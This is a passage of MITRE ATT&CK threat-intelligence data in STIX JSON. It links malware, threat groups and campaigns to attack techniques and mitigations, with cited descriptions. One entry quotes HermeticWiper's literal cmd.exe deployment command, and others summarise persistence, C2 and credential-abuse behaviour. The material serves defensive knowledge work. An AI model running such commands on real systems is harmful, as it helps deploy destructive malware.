2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86b7352f-8cba-4a5e-ac0a-c79697d0bd25","created":"2022-06-24T14:15:04.379Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can write itself to the Startup folder to gain persistence.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:15:04.379Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a","type":"relationship","created":"2019-01-30T18:39:48.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.639Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86b8a22d-66c3-4b54-82fd-662455d0e2c5","type":"relationship","created":"2021-11-30T19:26:17.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:38:27.703Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can determine the operating system and whether a targeted machine has a 32 or 64 bit architecture.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86ba3af5-2fdf-4fe3-8a89-da24cc0e0165","created":"2022-10-13T14:39:24.332Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:39:24.332Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can collect files and information from a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86bcc5c3-456e-4bac-a419-54f54af80325","created":"2020-05-19T20:39:12.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:40:32.711Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools decrypted additional payloads from the C2. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also decoded base64-encoded source code of a downloader.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020) Additionally, [Gamaredon Group](https://attack.mitre.org/groups/G0047) has decoded Telegram content to reveal the IP address for C2 communications.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86bfc0ee-73e0-4f1b-a4f9-f8e44eae2dc3","created":"2022-08-07T14:14:14.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T22:25:35.114Z","description":"[SideCopy](https://attack.mitre.org/groups/G1008) has sent Microsoft Office Publisher documents to victims that have embedded malicious macros that execute an hta file via calling `mshta.exe`.(Citation: MalwareBytes SideCopy Dec 2021)","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86c16ccf-cd37-4c5a-822b-034448056066","type":"relationship","created":"2020-01-24T14:26:51.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:26:51.389Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86c466ea-44e7-4018-a223-ce8d2ab81bc8","type":"relationship","created":"2020-10-20T03:35:25.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:47:56.019Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86c55cd3-efb5-4bd3-9958-a5af1f1b0679","created":"2023-09-18T20:36:20.284Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T20:36:20.284Z","description":"\n[TA2541](https://attack.mitre.org/groups/G1018) has run scripts to check internet connectivity from compromised hosts. (Citation: Cisco Operation Layover September 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86c58566-41e5-452f-b649-b481bfbd1202","type":"relationship","created":"2020-10-19T23:54:29.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:23.125Z","description":"Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86c68d0b-23db-4f0a-9d06-a3832ec4e8ed","type":"relationship","created":"2020-10-02T15:47:59.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T15:47:59.629Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86c734dd-d40c-42ec-b074-0f7a4f2b55cf","type":"relationship","created":"2021-03-08T13:50:20.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.144Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can enable Windows CLI access and execute files.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86c83427-c35b-46c2-9c55-90b1967bed49","created":"2021-12-01T18:49:06.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:45:57.866Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) can encrypt sections of its code to evade detection.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86c9276e-1144-42b9-971f-8ba4eefec3be","created":"2023-10-10T18:55:46.180Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T18:55:46.180Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) leveraged compromised credentials from victim users to authenticate to Azure tenants.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86ca25c9-8cc3-43f8-bf19-2aca39bcf05e","created":"2023-01-11T21:23:47.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"},{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:34:06.418Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has searched for files and directories on a compromised network.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86ce6e35-bf83-4d55-a3c8-3ac2e2d2f872","type":"relationship","created":"2020-09-25T15:49:09.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-09-25T15:49:09.209Z","description":"[Valak](https://attack.mitre.org/software/S0476) has downloaded a variety of modules and payloads to the compromised host, including [IcedID](https://attack.mitre.org/software/S0483) and NetSupport Manager RAT-based malware.(Citation: Unit 42 Valak July 2020)(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86d110ea-060e-462f-a520-ad650564c05e","created":"2022-09-27T16:18:58.990Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:18:58.990Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used VBScript to conduct reconnaissance on targeted systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86db4034-d33f-4067-b133-70ea904fa461","type":"relationship","created":"2019-06-28T14:58:02.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-21T00:00:03.466Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) uses AES to encrypt C2 traffic.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86dddc68-9032-4467-be3c-a48d3bacfd06","type":"relationship","created":"2020-09-30T14:52:08.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:08.986Z","description":"[WellMess](https://attack.mitre.org/software/S0514) has used Base64 encoding to uniquely identify communication to and from the C2.(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86e0245b-787c-4cf8-9399-531d64529d4d","type":"relationship","created":"2021-11-24T21:30:57.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:30:57.970Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has leveraged dynamic DNS providers for C2 communications.(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86e15021-d906-4c2e-86cd-f8ecb7e1183b","created":"2024-07-25T22:16:01.153Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:16:01.153Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) uses [Nightdoor](https://attack.mitre.org/software/S1147) as a backdoor mechanism for Windows hosts.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86e5bf16-825f-46d0-a590-57c134dd0b9a","created":"2022-03-25T20:21:17.681Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can use `cmd.exe /Q/c move CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1 CSIDL_WINDOWS\\policydefinitions\\postgresql.exe 1> \\\\127.0.0.1\\ADMIN$\\_1636727589.6007507 2>&1` to deploy on an infected system.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:24:18.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86e8f395-3c57-4602-8e7c-30058d05a655","type":"relationship","created":"2019-09-13T13:17:26.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.177Z","description":"[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer’s microphone.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86ea4cab-4169-4471-9f45-6d6defc8b0c3","created":"2022-04-14T16:35:02.190Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline cloud block storage volumes to identify malicious modifications or additions.","modified":"2022-04-14T16:35:02.190Z","relationship_type":"detects","source_ref":"x-mitre-data-component--0f72bf50-35b3-419d-ab95-70f9b6a818dd","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86eb3c0d-b1c1-4b52-b802-18f321450f29","type":"relationship","created":"2020-01-30T14:24:35.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-06T18:26:18.549Z","description":"Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order 